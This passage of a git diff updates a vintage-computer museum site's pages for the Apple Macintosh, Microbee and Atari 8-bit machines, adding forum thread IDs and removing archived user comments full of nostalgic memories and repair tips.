the time), a screwdriver, and a Parybar and Rubber Mallet (To help crack the case open). I still remeber the smell of saudered silicon (it lingers in the computer room) My father had to. I recently aquired one and am still trying to get it open to get the hard drive reconnected and working.' - - author: Aran Carrigan (USA) - date: Friday 4th March 2005 - text: People might think a kid would take these seriously, but I did! I fiddled around with it and upgraded it from the OS 7.0.1 to 7.5 and it still works like new! (I had to do something to it. It used to belong to my school.) I'd say it's best computer I own. - - author: mark (Cincinnati) - date: Tuesday 5th March 2002 - text: |- - this is one of the best computers ever made. my old boss at a college computer department bought one years ago from a woman who had been using it to run a design and publishing company; when he took it away, she cried. - - we used SE/30s as network testers because they are so portable and reliable. they are great for writers because you can tote them around all over and type wherever you please: on the porch, in your hotel, etc. I own two SE/30s. related: - /museum/apple-lisa-lisa-2-mac-xl - /museum/apple-macintosh diff --git a/content/museum/apple-macintosh-se.md b/content/museum/apple-macintosh-se.md index cc1ee4b1..d8209466 100644 --- a/content/museum/apple-macintosh-se.md +++ b/content/museum/apple-macintosh-se.md @@ -63,6 +63,7 @@ params: - hardware - emulators - links + forum_thread: 172 photos: - title: RUNNING SYSTEM subtitle: '' @@ -226,59 +227,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: Discussion of Macintosh software system - comments: - - author: BoctorPoo (USA) - date: Monday 9th January 2012 - text: I have one of these with an 80MB HDD and a superdrive. It''s one with the word "SuperDrive" printed underneath the standard name on the front, which is allegedly rare. Only 50 dollars on ebay though. - - author: Kam (Scarborough, Ontario, Canada) - date: Friday 7th October 2011 - text: Many years ago I opened up my MAC SE and discovered the signatures of the Apple team (incl. both Steves!) embossed on the inside of the back ''shell'' of the body/hood! You just need a torx driver that''s at about 8" long to undo the screws on either side of the SE''s top handle/slot. - - author: Ryan (USA) - date: Sunday 31st October 2010 - text: I just picked one of these up for $20. Just for personal satisfaction, how can I get this little classic on the net and since it came with no disks but the software is all loaded, how can I back each program up to floppies? - - author: He who hides - date: Thursday 30th September 2010 - text: I just bought one of these off ebay for 60 bucks. It works great but it smells like cow poop(EEEEW!). - - author: Kyle (USA) - date: Thursday 12th August 2010 - text: I have one of these Mac SE machines right next to my Apple IIgs. One of the things that goes regularly on these is the original cylindrical fan that cools the machine. They become loud and stop blowing any air. I am attempting to fit a newer fan to the machine as we speak tho. Absolutely worth it on this amazing computer. FYI, Mac OS 6.0.8 is available to download for free at Apple''s support page if you want to at least test out your crashed machine. - - author: Azorean (USA) - date: Monday 15th June 2009 - text: I have Mac SE too,stills running like new,sometimes I play games on it. - - author: Josh (redding) - date: Wednesday 12th September 2007 - text: |- - I got one from my old teacher for free - - and it crashed... - - i barly know what to do with it i need the set of flopy disks,... and i dont know where to find them... - - author: Miesa (USA) - date: Wednesday 6th June 2007 - text: i just resurrected my dads old Mac SE from the far reaches of the garage. i would like to get it up and running, for my own geeky fun. and a little bit of nostalgia. any help would be appreciated. you can email me. - - author: bluekatt (netherlands) - date: Monday 18th September 2006 - text: |- - the mac se runs mac os 5 til 7.5.5\ - 7.5.5 is freely downloadable from apple.com as 19 floppy images - - author: Jyri P. (Estonia) - date: Saturday 8th October 2005 - text: A Mac SE is used to hold the door open at my local Macintosh shop. - - author: jacob cline (USA) - date: Tuesday 27th September 2005 - text: what software does a mac SE run on it - - author: Len Hopkins (USA) - date: Friday 10th December 2004 - text: I am the lucky owner of an SE that has 2 800k floppies and a 40mb hard drive inside. I have had the case off and to my dissapointment, there are no signatures on the inside. But, I did find that you could a put another hard drive in it if you were so inclined. There is space above the PDS slot that would do nicely. - - author: Martijn Derks (Vlijmen (Netherlands)) - date: Monday 30th August 2004 - text: I found an old Macintosh SE/30 and I haven't got any software for it. When I turn it on, a disk with a question mark on it appears. I looked this up, and I found out that I need software. Who can help me out? - - author: Nighthawk (Ontario, Canada) - date: Tuesday 7th January 2003 - text: I have a Mac SE. It has 4 megs of ram, a 1.44 SuperDrive and a SCSI 170 meg HD. It runs OS 7.5.5. I got it for $10(Can) with a Laser Writer. This little mac works as good as the day it was new. An excellent computer. It was sold for $3900(US) when it fitst came out. This model of Macintosh was the \*first\* Mac to have both a boot-up tone and built-in speaker. - - author: Dave P. (UK) - date: Tuesday 22nd January 2002 - text: I've got a Mac SE so I thought I'd attach a 200 meg external hard disk to it, and install System 7.5(.5) on it. Guess what - it worked! related: - /museum/apple-lisa-lisa-2-mac-xl - /museum/apple-macintosh diff --git a/content/museum/apple-macintosh.md b/content/museum/apple-macintosh.md index 08e7105d..a0a2888a 100644 --- a/content/museum/apple-macintosh.md +++ b/content/museum/apple-macintosh.md @@ -62,6 +62,7 @@ params: - photos - emulators - links + forum_thread: 281 photos: - title: OPENED MAC subtitle: '' @@ -181,102 +182,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: Discussion of Macintosh software system - comments: - - author: macaholic (USA) - date: Thursday 21st April 2022 - text: 128K Mac was upgradable - there was a guy at our college who upgraded them to essentially a 512KE as we were told only engineers needed a 512K - what they didn''t realize is that if you wanted to write more than a 4 page paper in MacWrite, you also needed a 512K... - - author: Paul Fedorov (Canada) - date: Friday 2nd June 2017 - text: Contact me at Paulfed44@outlook.com , looking for any vintage macintosh looking to buy - - author: Paul Fed (Toronto Canada) - date: Monday 28th November 2016 - text: HI I am looking for an affordable apple Macintosh - - author: David Lowry - date: Monday 22nd August 2016 - text: It''s amazing how much the price gap is on these old macintosh computers is. I have seen systems that turn on and ONLY come with the computer for more than $600, but i has also seen systems that turn on but just have a few more scuffs on them selling for less than $5. - - author: Mark Powell (UK) - date: Saturday 7th February 2009 - text: |- - I had the misfortune of blowing up one of the first Mac''s in the UK. Working for (what was then) one of the biggest dealers in the Country, I was told to get the new Mac out the cupboard and power it on. No-one mentioned the 240/110V converter.\ - Bang - puff of smoke $ dead Mac. Oops. - - author: tomswift (usa) - date: Thursday 27th March 2008 - text: a ? disk icon on the screen of mac performa 550 probably means dead HD. replace HD. download os 7.5 from apple.com (free) onto floppies. will take 16 floppies for whole os. good luck... - - author: jewel king (Molalla, Or.) - date: Tuesday 11th December 2007 - text: |- - I have a (vintage) Mac Performa 550 that needs a system 7 utilities disk to get it back up and running again. When I turn it on, the screen comes up with an icon of a blinking disk with a question mark in it. I don't have a system 7 back up disk and was wondering where I could get one? - - If I can't get the old Mac.hine running again, I am planning to sell the entire works. I have lots and lots of programs , 2 printers, a Suma Graphics drawing tablet, Original manuals , an extra extended key board and more , more , more. Am just wondering if some one in the vintage Mac field could give me an estimate on how much it's all worth before I put it on the market. But, before I do that, I'd rather see if I could get it fixed. Thank you - - author: jewel king (Molalla, Or.) - date: Tuesday 11th December 2007 - text: |- - I have a (vintage) Mac Performa 550 that needs a system 7 utilities disk to get it back up and running again. When I turn it on, the screen comes up with an icon of a blinking disk with a question mark in it. I don't have a system 7 back up disk and was wondering where I could get one? - - If I can't get the old Mac.hine running again, I am planning to sell the entire works. I have lots and lots of programs , 2 printers, a Suma Graphics drawing tablet, Original manuals , an extra extended key board and more , more , more. Am just wondering if some one in the vintage Mac field could give me an estimate on how much it's all worth before I put it on the market. But, before I do that, I'd rather see if I could get it fixed. Thank you - - author: Carlos (Ilheus - Bahia - Brasil) - date: Wednesday 24th January 2007 - text: I would like to receive details of the original mac case (cabinet). The sizes, the angles. A CAD project/drawing would be fantastic! I want this to try to build a clone. Thanks in advance. Kind regards - - author: Oliver (Berlin) - date: Monday 5th June 2006 - text: |- - Where and when was your Mac born ? - - Decode following facts about your old Mac from its serial number: - - \* Manufactured in,\ - \* Year of production,\ - \* Week of production,\ - \* Production number,\ - \* Modell ID, - - http://myoldmac.net/FAQ/Mac-Serialnumber-decoder-e.php - - author: Chris (Vermont) - date: Monday 19th December 2005 - text: how much are these things worth? If anyone can e-mail me a rough figure it would be appreciated! - - author: Renzin (usa) - date: Wednesday 3rd August 2005 - text: Another great computer! Compare the price of this mac to the latest power mac g5. Some people, sadly, have gutted their old mac and used it as a computer case with a window. - - author: qwerty (mars) - date: Friday 25th March 2005 - text: |- - Well Dave, I think you might have a bit more luck on the mini-fourm for the lisa, since that's what you need info on.\ - hope I was helpfull Dave.\ - Sincerly,\ - Qwerty - - author: Dave Catherman (CT) - date: Friday 21st January 2005 - text: How is a Manufacture Date code deciphered on a Lisa 2 Model A6S0200? The date code I have is 4300 and the serial number is A4300021. When was this machine born? Thanks! Dave. - - author: qwerty (canada) - date: Saturday 15th January 2005 - text: I absolutly love these little brown macs.i currently have a lage colection of them.does anyone know where i can find a orignal 128k to help my colection?if so, please e-mail me - - author: Tim Wilson (Fiji) - date: Saturday 13rd November 2004 - text: Yes, "Macintosh" is a kind of apple. The Mac computer was the dream of Jef Raskin, who wrote the manual for the Apple I, and he named it after his favourite type of apple. - - author: Tim Wilson (Fiji) - date: Saturday 13rd November 2004 - text: |- - Exact time the Mac was introduced? The stockholders meeting began at 10 am. By 9:45, all 2600 seats were filled, and there were still over 100 people trying to get in. The reason for that is that the "George Orwell" 1984 ad had been screened on Sunday, early in the 3rd quarter of the Super Bowl, and had left everyone stunned. - - (Info from "West of Eden - The End of Innocence at Apple Computer", Frank Rose, 1989) - - author: mortb (Sweden) - date: Wednesday 10th November 2004 - text: I've heard somwhere that Macintosh is a kind of apples. Don't know if this is correct though. - - author: Rami (Binyamina, Israel) - date: Thursday 20th May 2004 - text: |- - Does anyone know the origin og the name MAC(intosh). is it just the codename for the project. The Apple computer names (i.e. Apple and Lisa) had meanining. - - Thanks in advance.\ - Rami. - - author: Terry (Oklahoma) - date: Tuesday 27th January 2004 - text: does anyone know the exact" time " that the Macintosh was introduced on January 24th, 1984? If you look back on a calendar to Jan. 1984, that day is a Tuesday. If you think about it most major introductions have taken place on a Tuesday, but at what time.??? - - author: Jon Jarmon (Tacoma Washington U.S.A.) - date: Sunday 26th October 2003 - text: |- - I found 2 of the original Macintosh computers.The First Mac's just say Macintosh on the back of them.\ - Apple computer only sold around 120,000 to 150,000 of the original Mac's between Jan 24 1984 and Sept 22 1984.After that period of time Apple changed the roms a little bit and renamed it the Macintosh 128k to differentiate it from the released Macintosh 512k,both released after Sept 22 1984.The serial numbers on both of mine are #2336 and #5132 indicating that they were sold after the first week of introduction.I believe that only around 1,500 are still around today in operational condition.The ones that I found needed repair and I had to replace their power transistors on the analog boards.I had to repair one of the sony 400k drives but both are working fine now.The extremely early released Macintosh computers have a date code of 1983 Apple computer on their logic board.Apple sold 6,000 Mac's in the week after introduction,72,000 Mac's by day 100 and reached the 100,000 sold mark after 6 months of time.I still haven't found the exact number sold so I just made an estimation. related: - /museum/apple-lisa-lisa-2-mac-xl - /museum/apple-macintosh-color-classic diff --git a/content/museum/applied-technologies-computer-in-a-book.md b/content/museum/applied-technologies-computer-in-a-book.md index 04714f1c..1f5c8f43 100644 --- a/content/museum/applied-technologies-computer-in-a-book.md +++ b/content/museum/applied-technologies-computer-in-a-book.md @@ -67,6 +67,7 @@ params: tabs: - photos - adverts + forum_thread: 1032 photos: - title: LARGE VIEW subtitle: '' @@ -97,16 +98,6 @@ params: subtitle: '' text: from Bits & Bytes magazine image: null - comments: - - author: Andrew Wright (Australie) - date: Saturday 23rd July 2005 - text: There are two of these on display at the Melbourne Museum, hooked up to a 'bee, that Andrew and I saw a while back. - - author: Andrew (Australia) - date: Saturday 30th October 2004 - text: |- - Ah, yes, the Microbee C-I-A-B. my dad and his brother Grahame were the founders of what turned into the microbee user's group. good times, says dad. back when most computers had memory measured in kilobytes instead of gigabytes. i still have some older computers my dad owned, like a Toshiba T-1100 Plus...... - - andrew oc_id: 1059 source: url: https://web.archive.org/web/20230608212613/http://www.old-computers.com/museum/computer.asp?c=1059 diff --git a/content/museum/applied-technologies-microbee-128.md b/content/museum/applied-technologies-microbee-128.md index 2fb439fa..4986473e 100644 --- a/content/museum/applied-technologies-microbee-128.md +++ b/content/museum/applied-technologies-microbee-128.md @@ -70,6 +70,7 @@ params: - software - emulators - links + forum_thread: 457 photos: - title: FRONT VIEW subtitle: '' @@ -199,28 +200,6 @@ params: - title: The Bee Board url: http://microbee.no-ip.com/beeboard/ text: Forum and documentation repository for Microbee - comments: - - author: Michael Otway (Australia) - date: Sunday 29th November 2015 - text: Being equipped with a Z80 CPU, these "128K" units could only access 64KB for programs and data. The other 64KB was set aside as a RAM drive. The RAM drive wasn''t all that useful though, because (unlike their 32 and 64K models) they used DRAM not SRAM, so the RAM drive data was gone once the computer was switched off. - - author: Charles Thomas - date: Friday 29th May 2015 - text: Heh, Kung Fury gets hacked back in time on one of these. :D - - author: Peter Larsen (Sydney, Australia) - date: Sunday 8th August 2004 - text: The Network you describe was very popular in schools here in Australia also. It was called StarNet, and in it's most common configuration could support up to 30 or so client machines. It was a 19,200 baud serial network, the client machines having "StarNet Adapters" while the server was generally a 56k disk system model with a "StarNetwork Multiplexer". Software would be loaded on the server, then "pushed" through the serial link to the client computers and run from their RAM. Some units would have a "battery" switch so you could plug in, load software, then unplug and keep it in memory while you moved the machine elsewhere. - - author: Martin Hultén Ashauer (Sweden) - date: Sunday 22nd September 2002 - text: |- - I've had a MicroBee all my life and it still works alltho some buttons dont work propperly like the '0' button, so I have to write '11' instead of '10' when i'm basic programming. Its a nice computer and i have some software but not much. If there is anyone that owns ant software to the MicroBee and is willing to give/sell it to me mail me @: Martin_ha@yahoo.com\ - //Martin H.A.\ - Proud MicroBee Owner - - author: Christian Johansson (Sweden) - date: Saturday 2nd March 2002 - text: |- - When I went to school in Eslöv in Sweden in 7th-9th grade between 1986-1989, we had a computer room filled with Microbee computers. There was one server that the teacher handled. The rest of the computers that the pupils used were clients. Computer science was a special subject at the time. We did not use computers in ordinary subjects like mathematics and Swedish. - - /Christian related: - /museum/applied-technologies-microbee-32 oc_id: 462 diff --git a/content/museum/applied-technologies-microbee-32.md b/content/museum/applied-technologies-microbee-32.md index bc36afe0..355e3f3b 100644 --- a/content/museum/applied-technologies-microbee-32.md +++ b/content/museum/applied-technologies-microbee-32.md @@ -61,6 +61,7 @@ params: - software - emulators - links + forum_thread: 297 photos: - title: EARLY MODEL subtitle: '' @@ -144,47 +145,6 @@ params: - title: The Bee Board url: http://microbee.no-ip.com/beeboard/ text: Forum and documentation repository for Microbee - comments: - - author: Laurie May (Australia) - date: Sunday 20th November 2022 - text: I have a 32k Microbee but no instructions for cables etc. My grandson is interested, having done some computer studies. Where may I find such documentation? - - author: ChickenMan (Australia) - date: Friday 25th February 2022 - text: Happy 40th Birthday to Microbee that was initially released in the Feb 1982 issue of Your Computer. Still going strong today :) - - author: Star wallace (Australia) - date: Friday 7th August 2020 - text: |- - I have one in box for sale never removed from box. - - Starnzak@gmail.com - - author: Star wallace (Australia) - date: Friday 7th August 2020 - text: Hi - - author: Mark Cowan (Australia) - date: Monday 18th May 2020 - text: I remember these from my primary school years. We thought they were crap but it seems the real problem was teacher training. I recently watched a YouTube video of a guy demonstrating them and it looks like they were actually much better computers than anything we ever saw. - - author: Vex (Australia) - date: Friday 6th February 2015 - text: Had one of these as a kid did any of you play that yacht around Australia game where you had to type in distance+compass direction,,,I think been about 25 years since I played. What about that one where you were some manner of cargo ship captain going from port to port in trade hoping to avoid pirates but if you were really lucky you had the opportunity to bribe the pirate boss at the beginning of the game? So many memories so few names to stick on them - - author: Benjamin Ashcroft (Newcastle, NSW, Australia) - date: Thursday 14th August 2014 - text: |- - OMG. I remember this computer well. I was around 2 years old when my parents got this computer direct from the manufacturer down in Hornsby.\ - We had the version with the tape deck and programs usually took about half an to load. My first game I ever played was Frogger in green screen....I also remember playing a game that involved going around a set course and you had to avoid hitting the sides or any obstacles dotted around the course but I can''t remember the name of it!!! - - author: Michael Tooth - date: Sunday 29th June 2014 - text: |- - Had several Microbees$ one was the Computer-in-a-Book CPM other wise known as the "Chook in a book" because of its drive noise\ - Great fun - - author: Shane Doyle (Australia) - date: Tuesday 17th July 2012 - text: I remember building one of these when they came out. Used to write software for them for a guy named Peter Sinke who had a computer shop and sold the Microbees and the software I wrote. Great fun at the time, miss those old DIY days ! - - author: microbee - date: Sunday 22nd April 2012 - text: Microbees are back, check out http://www.microbeetechnology.com.au/ - - author: Scott Tester (Sydney Australia) - date: Saturday 9th August 2003 - text: Is there any place that I can download the manual for the microbee 32k. I'm looking for the exact code to the guessing game that was found in the manual. related: - /museum/applied-technologies-microbee-128 oc_id: 287 diff --git a/content/museum/asaflex-6.md b/content/museum/asaflex-6.md index 000b456a..daeecfd9 100644 --- a/content/museum/asaflex-6.md +++ b/content/museum/asaflex-6.md @@ -44,20 +44,12 @@ params: value: 'Yes' tabs: - photos + forum_thread: 643 photos: - title: GUN subtitle: '' text: '' image: /media/museum/photos/asaflex_6_gun.jpg - comments: - - author: Userboi - date: Thursday 9th August 2018 - text: |- - "VINTROPEDIA - Vintage Computer and Retro Console Price Guide 2009" - - Says the system came out in 1977 and prices it at 15 euro - - (By the way that book has like 14k systems so probably a good place to look for missing info on the ones you have on this site) oc_id: 658 source: url: https://web.archive.org/web/20230613001056/http://www.old-computers.com/museum/computer.asp?c=658 diff --git a/content/museum/asci-systemx.md b/content/museum/asci-systemx.md index 9f918a93..f829e903 100644 --- a/content/museum/asci-systemx.md +++ b/content/museum/asci-systemx.md @@ -54,6 +54,7 @@ params: value: Unknown tabs: - photos + forum_thread: 741 photos: - title: COVERED SYSTEM subtitle: '' @@ -71,22 +72,6 @@ params: subtitle: '' text: '' image: /media/museum/photos/asci_systemx_taperec_1.jpg - comments: - - author: Michael (USA) - date: Wednesday 4th December 2013 - text: Was lucky enough to find four of these that were being thrown out by a school. - - author: TC (US) - date: Saturday 31st December 2011 - text: |- - The ASCI System X also had an RS-232 port and an available expansion board with BASIC on ROM. IIRC BASIC was launched from the monitor by: - - G\ - F836\ - D - - The BASIC board could eat itself if a user POKEd at the wrong addresses. - - ASCI''s marketing catchphrase for the System X was "a system so updated, it can''t be outdated". I''m not gonna hold my breath waiting for a USB 3.0 interface though. :) oc_id: 758 source: url: https://web.archive.org/web/20230210082457/http://www.old-computers.com/museum/computer.asp?c=758 diff --git a/content/museum/atari-1200-xl.md b/content/museum/atari-1200-xl.md index bdea93f9..30622f89 100644 --- a/content/museum/atari-1200-xl.md +++ b/content/museum/atari-1200-xl.md @@ -63,6 +63,7 @@ params: - links - docs - videos + forum_thread: 37 photos: - title: 1200 XL subtitle: '' @@ -295,68 +296,6 @@ params: - title: Atari Home Computer laser disc - Conclusion url: https://www.youtube.com/watch?v=vQDQWvwZ-2w text: 'Length: 1 min 30 s' - comments: - - author: Mark Brzozowski (New York) - date: Saturday 16th September 2006 - text: |- - There is one detail I would like to correct. I can remember very clearly that Atari 1200XL WAS sold in Poland (i.e. Europe) at the time. I used to go to this store and check out latest electronics and when I saw the box for 1200XL, I was hooked. The computer looked very elegant and futuristic at the time. I would go back there every couple of weeks. It was months later (sometime in the fall) when I went there again and noticed that 1200XLs were gone and replaced by 600XL and 800XL. Was very upset, as these didn't look as nice to me as the 1200XL model.\ - It was years later that I got to own 1200XL. Now I have two of them with original boxes and one of them is in M/NM condition. Even the new smell is still there:).\ - I don't think I noticed that it was mentioned that the original keyboards, though great, stopped working after a while, so they had to be replaced. I have one sitting right here (just in case) that was made by Mitsumi and has a sticker from Radio Shack. One of my computers has this slight problem with the keyboard. I have to press the key few times, sometimes harder, for the keystroke to register.\ - As for compatibility, I can play Bounty Bob Strikes Back (1984) cartridge just fine (for example). - - author: Steve - date: Thursday 7th June 2018 - text: Just to let you know the Photo of the inside of this with the IC''s identified is incorrect. You have POKEY and ANTIC round the wrong way! - - author: Jeff (USA) - date: Tuesday 3rd April 2018 - text: I have an Atari 1200XL and it works like a charm, and still looks like it was 30+years ago. If you have this one, keep a hold on it! I find that mine works better than my 800XL...just perspective. - - author: zozo (france) - date: Thursday 30th October 2014 - text: i have one in 1988 but ... je n''est pas fais grand chose avec les jeux ne se trouvaient plus ! j''ai preferé le commodore plus/4 - - author: ScottInNH (USA) - date: Thursday 8th September 2011 - text: |- - I got one of these in 1983. The keyboard was awesome. I used to type and store my programs on tape which had recorded music on it (the 1010 only used 1 track to record data, but it would read data from both left and right tracks. Just enter a POKE command to silence the data squench and you could listen to music while loading.. neat!). It took a while but I typed in nearly every Antic and Analog program listing. - - Later got the 1050 floppy + US Doubler chip. - - This model did not last long not because of compatibility, but because of cost. The cases were heavily shielded to comply with older stricter FCC regs which were not needed anymore. So while the 1200XL was cheaper to build than the 800, it was not cheap enough, and the 800XL was built with less shielding and a cheaper keyboard. - - The one thing I always hated about the Atari though was the fact that all the games catered to 48K ram due to the large base of Atari 800s (though I always thought those users upgraded... and probably did). This held back game quality and you could see many C64 games using all 64KB but the Atari one cutting corners to run in 48K. The other thing bad was the BASIC language was very slow.. if anyone remembers TurboBASIC which was FREE software (much later on).. it blew away everything and had near machine language speed. Some really smart Polish programmer wrote it out of disgust for Atari Basic''s speed. - - I tossed my 1200XL (regrettably) in 1997 during a move, along with a 1020 plotter and other neat stuff. I also had a 520STfm, but sold it. - - The 1200XL got me into programming, and that''s what I do today. - - For those who still have these computers, you can get expansion for it including IDE hard drive interfaces, SD card readers, Ethernet networking (wired.. but you can plug it into a cheap wireless access point). It will work with a modern LCD display as it had a decent NTSC signal (not sure about monitor mode.. maybe that works also). - - Favorite games were Alternate Reality, FireBug (a free game in a magazine), Archon, Blue Max, and Rescue on Fractalus. - - author: Anonymous - date: Thursday 8th September 2011 - text: The 1200XL suffered from poor marketing on the part of Warner Communications. It is the best 8-bit computer of the early 1980''s. They produced \~120,000 units in 1983. The sales flopped when 3party software had issues. They originally shipped with version 10 operating system. The rev 11 is almost identical to the 600/800XL OS and fixed many bugs. Don''t know if they actually shipped with Rev 11 since the production run was less than 6 months. It had the highest quality MOBO and about 2/3 were manufactured in the USA. The last Atari to be made in America. This unit is considered by collectors as the crown jewel of the released 8-bit line. The 1400XL and 1450XLD were never retailed tothe public. They can still be had today on EBAY, but the chronic troblem with aged units is the mylar membrane on the keyboard assembly. Almost 100$ failure rate after almost 30 years. The broken traces can be repaired with conductive pen. A must own for a serious collector. - - author: Anonymous - date: Thursday 8th September 2011 - text: The 1200XL suffered from poor marketing on the part of Warner Communications. It is the best 8-bit computer of the early 1980''s. They produced \~120,000 units in 1983. The sales flopped when 3party software had issues. They originally shipped with version 10 operating system. The rev 11 is almost identical to the 600/800XL OS and fixed many bugs. Don''t know if they actually shipped with Rev 11 since the production run was less than 6 months. It had the highest quality MOBO and about 2/3 were manufactured in the USA. The last Atari to be made in America. This unit is considered by collectors as the crown jewel of the released 8-bit line. The 1400XL and 1450XLD were never retailed tothe public. They can still be had today on EBAY, but the chronic troblem with aged units is the mylar membrane on the keyboard assembly. Almost 100$ failure rate after almost 30 years. The broken traces can be repaired with conductive pen. A must own for a serious collector. - - author: Larry Hampton (Oklahoma/USA) - date: Friday 11th March 2011 - text: On 12-06-1983, my parents purchased an Atari 1200XL from Sears for $599.99 in Quail Springs Mall, the maintenance agreement was $53.05. 5 days later on 12-11-1983, they purchased an Indus GT disc drive for $449.99 from Wizard''s in Quail Springs Mall. - - author: Jon A ( USA ) (USA) - date: Thursday 11th November 2010 - text: I got one of these from a friend who had won it in a Movie Channel contest. I loved my old Ataris.. I originally had only the basic cartridge, but eventually had collected the microsoft assembler, the assembly cartridge, a couple game carts, a 1541 ( modded of course ), an Atari plotter ( the little 4 inch wide one ), and a modem. It was absolutely the greatest machine to tinker with, and became my introduction to the world of IT. - - author: Scott (USA) - date: Wednesday 19th December 2007 - text: |- - I spent many hours learning to program computers on an Atari 1200XL. They keybaord was fantastic. I had it connected to the Atari I/O box, with a 1200 baud modem and a Centronix parallel printer. I later added 4 floppy drives from both Atari and 3rd party manufacturers, and ran a BBS system from this machine. A friend had four 1 megabyte 8" floppies connected to one for his BBS. I later replaced it with a 130xe from which I soldered more memory directly to the motherboard for 320K of memory using bank switching to access. Much like the IBM PCs did with "Extended Memory" later on. - - The Atari's were so hackable in their hardware it was hard to keep the screws in them as each week I would see more information on the BBSs on how to upgrade them to bigger and better performance. - - author: Steve Scott (USA) - date: Wednesday 17th May 2006 - text: I didn't have a problem with the compatibility. Although I had the compatability chip,I never needed to use it. There were many, many games available. I know I had a bunch stored on disk, with that really cool file system they had. Many of these games were independantly developed. - - author: PvK (Seattle) - date: Friday 1st February 2002 - text: |- - Actually, 1200XL's are compatible with most Atari software. Some pre-XL software has problems, but almost all of them are fixed by booting with the translator disk. - - PvK related: - /museum/atari-1400-xl - /museum/atari-1450-xld diff --git a/content/museum/atari-130-st-260-st.md b/content/museum/atari-130-st-260-st.md index 012a65da..5d1b74eb 100644 --- a/content/museum/atari-130-st-260-st.md +++ b/content/museum/atari-130-st-260-st.md @@ -64,6 +64,7 @@ params: - emulators - links - docs + forum_thread: 899 photos: - title: ATARI 130 ST -VIEW#2 subtitle: '' @@ -295,19 +296,6 @@ params:  source : [Daves Old Computers](http://www.classiccmp.org/dunfield) **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: Anand S. (Netherlands) - date: Monday 5th April 2021 - text: 'Not entirely true: only the 520 STF(M) models have a floppy drive built in. There were also 520 ST(+) models that had the same dimensions as the 260 (in fact, rebranded 260''''s) and therefore no built-in floppy drive.' - - author: Lars Vadjina (Germany) - date: Tuesday 19th November 2019 - text: The 260 ST has no build in floppy disc drive. I should know as I was one of the first buyers/owners back in the days. Still own that wonderful machine :-) - - author: Marty Goldberg (USA) - date: Tuesday 5th March 2013 - text: That Amiga section is wrong as well. The ST was not rushed on to the market and was never planned around Amiga technology. It was in fact started \*before\* Jack purchased the Consumer Division. Likewise Atari Inc. was certainly not contracting manufacturing to Amiga, they were simply licensing Amiga''s custom chips. And even then it was for a game console, not a computer. The pending licensing agreement was for an Amiga based game console to be released for the Winter of ''84, which would be allowed to expand with a keyboard expansion in ''85. Then finally in ''86 Atari Inc. would be allowed to release a regular Amiga based computer. Amiga wanted the time to release their own computer on the market - which the pending agreement stipulated. We cover the entire situation in Atari Inc. - Business Is fun (on Amazon) including showing some of the original agreement. - - author: Marty Goldberg (USA) - date: Tuesday 5th March 2013 - text: That intro is completely wrong. He did not by Atari Inc., he bought a division of Atari Inc. - the Consumer Division. He in turn folded that in to his own company (TTL) and renamed that to Atari Corporation. related: - /museum/atari-4160-ste - /museum/atari-520-1040-ste diff --git a/content/museum/atari-1400-xl.md b/content/museum/atari-1400-xl.md index 08787943..f2f527e9 100644 --- a/content/museum/atari-1400-xl.md +++ b/content/museum/atari-1400-xl.md @@ -63,6 +63,7 @@ params: - links - docs - videos + forum_thread: 274 photos: - title: 1400XL PROTOTYPE subtitle: '' diff --git a/content/museum/atari-1450-xld.md b/content/museum/atari-1450-xld.md index eea9a2b2..fd943e76 100644 --- a/content/museum/atari-1450-xld.md +++ b/content/museum/atari-1450-xld.md @@ -60,6 +60,7 @@ params: - links - docs - videos + forum_thread: 42 hardware: - title: INDUS GT subtitle: 5''/14 disk-drive @@ -239,10 +240,6 @@ params: - title: Atari Home Computer laser disc - Conclusion url: https://www.youtube.com/watch?v=vQDQWvwZ-2w text: 'Length: 1 min 30 s' - comments: - - author: Bryan Edewaard - date: Tuesday 18th March 2014 - text: The 1400XL and 1450XLD never got to production largely because new machines like the Commodore 64 were shifting the market away from premium systems like the Apple II and more toward budget systems for the casual user. In response, Atari discontinued the 1200XL and concentrated their efforts on the low cost 600XL and 800XL. related: - /museum/atari-1200-xl - /museum/atari-1400-xl diff --git a/content/museum/atari-400.md b/content/museum/atari-400.md index ecfd7772..a7fca57c 100644 --- a/content/museum/atari-400.md +++ b/content/museum/atari-400.md @@ -71,6 +71,7 @@ params: - links - docs - videos + forum_thread: 91 photos: - title: ATARI 400 subtitle: '' @@ -291,103 +292,6 @@ params: - title: Atari Home Computer laser disc - Conclusion url: https://www.youtube.com/watch?v=vQDQWvwZ-2w text: 'Length: 1 min 30 s' - comments: - - author: RonF (Illinois, USA) - date: Tuesday 1st September 2020 - text: I have a 400. I made a keyboard for it as per the article in December 1982 Creative Computing (https://archive.org/details/creativecomputing-1982-12). I bought a kit from some company I cannot remember that upgraded it to 64K (cutting traces and soldering some wires was involved) and installed it. I also bought the Assembler cartridge for it and took a course in how to program it. I had a lot of fun with that machine. It''s in a box in the garage, I should get it out and see if it still works. - - author: David Mc (UK) - date: Friday 5th October 2018 - text: |- - I had an Atari 400 when I was about 13. Me and my older brother used to love writing games for it and using it to switch on light bulbs etc. via relays. The joystick ports were ideal for this! - - When we started working for an electronics firm, we actually used a 400 to control and test digital PABX telephone exchanges and later design 6502-based, fully automated test rigs for the firm. - - Recently, my mother was clearing out her attic and asked me if ''this'' was any use? It was my old Atari 400! I thought it was long-gone! - - This year I opened it up, repaired it and finally upgraded it to 48K! - - author: WEMEDIA (Italy) - date: Tuesday 20th June 2017 - text: |- - Atari 400 is the best home computer for videogame until Commodore 64.\ - I love its vintage look membrane keyboard! - - author: memoryalpha - date: Sunday 10th April 2016 - text: I grew up in middle class family 80’s America. As far as I’m concerned the Atari 400 was THE COMPUTER OF ITS DAY (before the C64 anyway) nothing else came close with graphics and sound. We all wanted the 800 (or an Apple) but all my family could only afford was the 400. We weren’t alone, the 400 outsold the 800, big time. One would troll the back pages of computer magazines (no internet then!) where 48K DIY upgrade kits were available. My uncle, infuriated that we had to buy a “special tape recorder” as a peripheral, wrote a letter to Atari asking for the specifications of the I/O interface so he could build our own cable for use with any generic tape recorder$ Atari complied. Talk about customer service, try that with Apple or MS. The membrane keyboard was perfect for teenaged users like me$ it was impervious to soda and fast food fingers, as was the steel reinforced unit itself. It survived a spinning $ down a flight of stairs unscathed! Like all good things, it was too good - to last. Our house was broken into and amongst the few items stolen was my beloved 400. Heaven has a special place for emulator developers, they’ve retrieved my 400 for me and countless others! - - author: Eduardo (NY) - date: Saturday 